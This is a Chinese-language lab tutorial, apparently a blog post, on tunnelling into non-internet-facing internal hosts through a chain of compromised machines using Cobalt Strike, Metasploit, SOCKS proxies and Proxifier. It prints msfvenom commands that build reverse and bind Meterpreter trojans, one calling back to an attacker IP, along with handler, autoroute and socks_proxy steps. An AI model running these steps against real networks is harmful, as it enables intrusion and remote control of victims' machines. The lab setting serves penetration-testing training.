1、前言
本文章主要介绍当内网的主机不出网时如何利用代理上线,用到的工具为CS和MSF,代理协议为Socks。
2、实验环境
实验环境如图所示,windows server2008充当网站服务器,具有公网与内网ip,其他主机均为内网主机且不出网。我们可以直接访问windows server2008,因为它具有公网ip192.168.145.252,但是我们无法直接访问win7和其他的主机,因为他们都是在内网中的。想要访问内网的机器就要用到一些技术手段,而这个手段就是代理。
3、什么是代理
那么什么是代理呢,我们本地可以直接访问windows server2008,无法直接访问win7。但是windows server2008可以直接访问win7,因为他们有同一网段的ip嘛。那么我们可以拿到windows server2008控制权,然后让它转发我们本地的流量到win7,那么server2008就充当了我们访问win7的代理。例如,有个包裹要从广州到深圳,但是包裹自己到达不了目的地,那么我们可以让快递公司代替我们把包裹送到深圳,此时快递公司就充当我们的代理。
3.1、代理协议Socks4/5
最常见的代理协议为SOCKS协议,它与其他类型的代理不同,它只是简单地传递数据包,而并不关心是何种应用协议,所以SOCKS代理服务器比其他类型的代理服务器速度要快得多。SOCKS代理又分为SOCKS4和SOCKS5,二者不同的是SOCKS4代理只支持TCP协议(即传输控制协议),而SOCKS5代理则既支持TCP协议又支持UDP协议(即用户数据包协议),还支持各种身份验证机制、服务器端域名解析等。SOCK4能做到的SOCKS5都可得到,但SOCKS5能够做到的SOCKS则不一定能做到。
3.2、代理软件
常见的代理软件有SocksCap、Proxifier、ProxyChains,本文用Proxifier,其它的可以自行百度。
4、CS上线
4.1、server 2008上线
这里假定我们已经完成内网信息收集和已经拿到内网机器的控制权了,仅仅演示如何进行通讯。先配置监听器,生成木马放到我们的server2008上面运行它。
可以看到我们的server2008已经上线
4.2、win7上线
接着我们右击server2008会话,选择代理转发,点击Socks代理,选择4a或者5都无所谓。最后点击Launch即可,记住端口后面要用。
再生成一个监听器,payload选择Beacon Tcp。因为它内网主机不出网的,无法找到我们,只能正向连接我们去找它。然后再生成一个木马放到win7里面去运行。
运行之后,在cs的server2008会话执行下面命令,然后win7便可以上线到cs。
connect to 192.168.22.45:2222
4.2.1、配置代理服务器
我们再设置一下代理服务器,点击左上角Profile,选择proxy servers。
点击add,地址填我们攻击机的ip,端口就是我们刚刚开启代理的端口,Socks版本选择和上面开启的一样,最后点击ok即可。
我们可以点击旁边的check,检查一下是否能访问到win7。我这里之所以失败,是因为我没有在win7上面搭建web服务,但是只要我们的test1显示passed就说明我们能访问到win7。
4.2.2、设置代理规则
profile->proxification Rules->add->name随便->target host添加22网段->Action填我们刚刚设置的代理服务。
我们也可以访问win7看看,出现这样一个页面,它没有显示404就说明我们可以成功访问到win7。
4.3、server 2012上线
这个应该不用再多说了吧,和win7上线一样。win7开启Socks代理,然后生成一个正向木马放到server2012上面运行,再用win7去正向连接即可上线cs。
4.3.1、代理配置
这里我们到proxy servers把端口换成在win7开启的Socks代理端口,然后check一下test1依旧是通过滴。至于test2失败,依旧是我懒得搭建web服务。
后面我还是搭建了一下web服务,唉,没办法,有web服务的话就两个test都能过。
然后再添加一条代理服务
然后再到代理规则那里,action选择我们我们刚刚添加的代理服务,target hosts添加我们的33网段,然后即可在浏览器访问server2012。
4.4、win10上线
这个如和上线也不仔细说了,和上面一样。server2012开启Socks代理,然后生成一个正向木马放到win10上面运行,再用server2012去正向连接即可上线cs。
4.4.1代理配置
其实都是一样的步骤滴,添加代理服务,然后check。test1可以通过说明能联系,不要再问为啥显示failed了。
再到代理规则添加44网段即可在浏览器访问,action选择刚刚配置的代理服务。
5、MSF上线
msf上线和cs流程是差不多滴,不同的是msf要添加路由,流量才知道下一步要去哪。
5.1server 2008上线
老规矩先生成木马,然后放到靶机上面去运行即可。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.149.141.189 LPORT=1111 -f exe > 1111.exe
set payload windows/meterpreter/reverse_tcp
set lhost 8.149.141.189
set lport 1111
拿到shell之后,我们先查看一下路由,可以看到目前是为空的。
run autoroute -p
然后我们添加路由,并再次查看路由信息。
run post/multi/manage/autoroute
但是现在这个路由只能转发我们msf的流量,其它的工具流量是转发不了滴。要是想让其它工具的流量也能走这个路由,我们还是要开启一下Socks代理,也就是建立节点。要先输入background,把会话放到后台,再开启代理。
use auxiliary/server/socks_proxy
然后看使用参数,srvhost设置为0.0.0.0或者127.0.0.1都行,意思是转发本地流量。srvport为转发端口可更改可不改,version为socks版本默认为5,最后直接run就行。
然后会生成一个job。
5.2、win7上线
和cs一样先,生成一个正向马放到win7上面去运行。
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=2222 -f exe > 2222.exe
设置监听直接run即可。
set payload windows/meterpreter/bind_tcp
set lport 2222
set rhost 192.168.22.45
在proxifile添加代理测试一下,端口就是我们刚刚开启代理的端口
我搭建了一下web服务,测试完美通过。
查看一下后台会话,一共两个,分别是server 2008和win7的。
然后想要访问server 2012的话,同样要给win7添加路由。
run autoroute -p
run post/multi/manage/autoroute
再来建立节点,注意不能和上面的节点有端口冲突。jobs查看,我们现在就有两个socks节点啦。
5.3、server 2012上线
不用多说,生成一个正向马放到上面去运行。
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > 3333.exe
配置监听,然后直接run即可。
set windows/meterpreter/bind_tcp
set lport 3333
set rhost 192.168.33.56
看下后台会话,一共三个。
代理配置一下,完美通过测试。
目前我们能访问到33网段,想要访问到最后一个44网段,操作也是一模一样的,添加server 2012的路由。
建立socks节点,注意端口别冲突,最后jobs查看一下,有三个socks节点。
5.4、win10上线
怎么上线就不说了,和前面一样一样的。生成正向马放到上面去运行,然后我们正向连接即可。
代理配置一下,完美通过。
6、总结
以上的操作都是基于我们已经熟悉了其内网的环境,且不关心横向移动的情况下滴。但在现实中往往要进行大量的内网信息收集工作和其他更复制的情况。最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。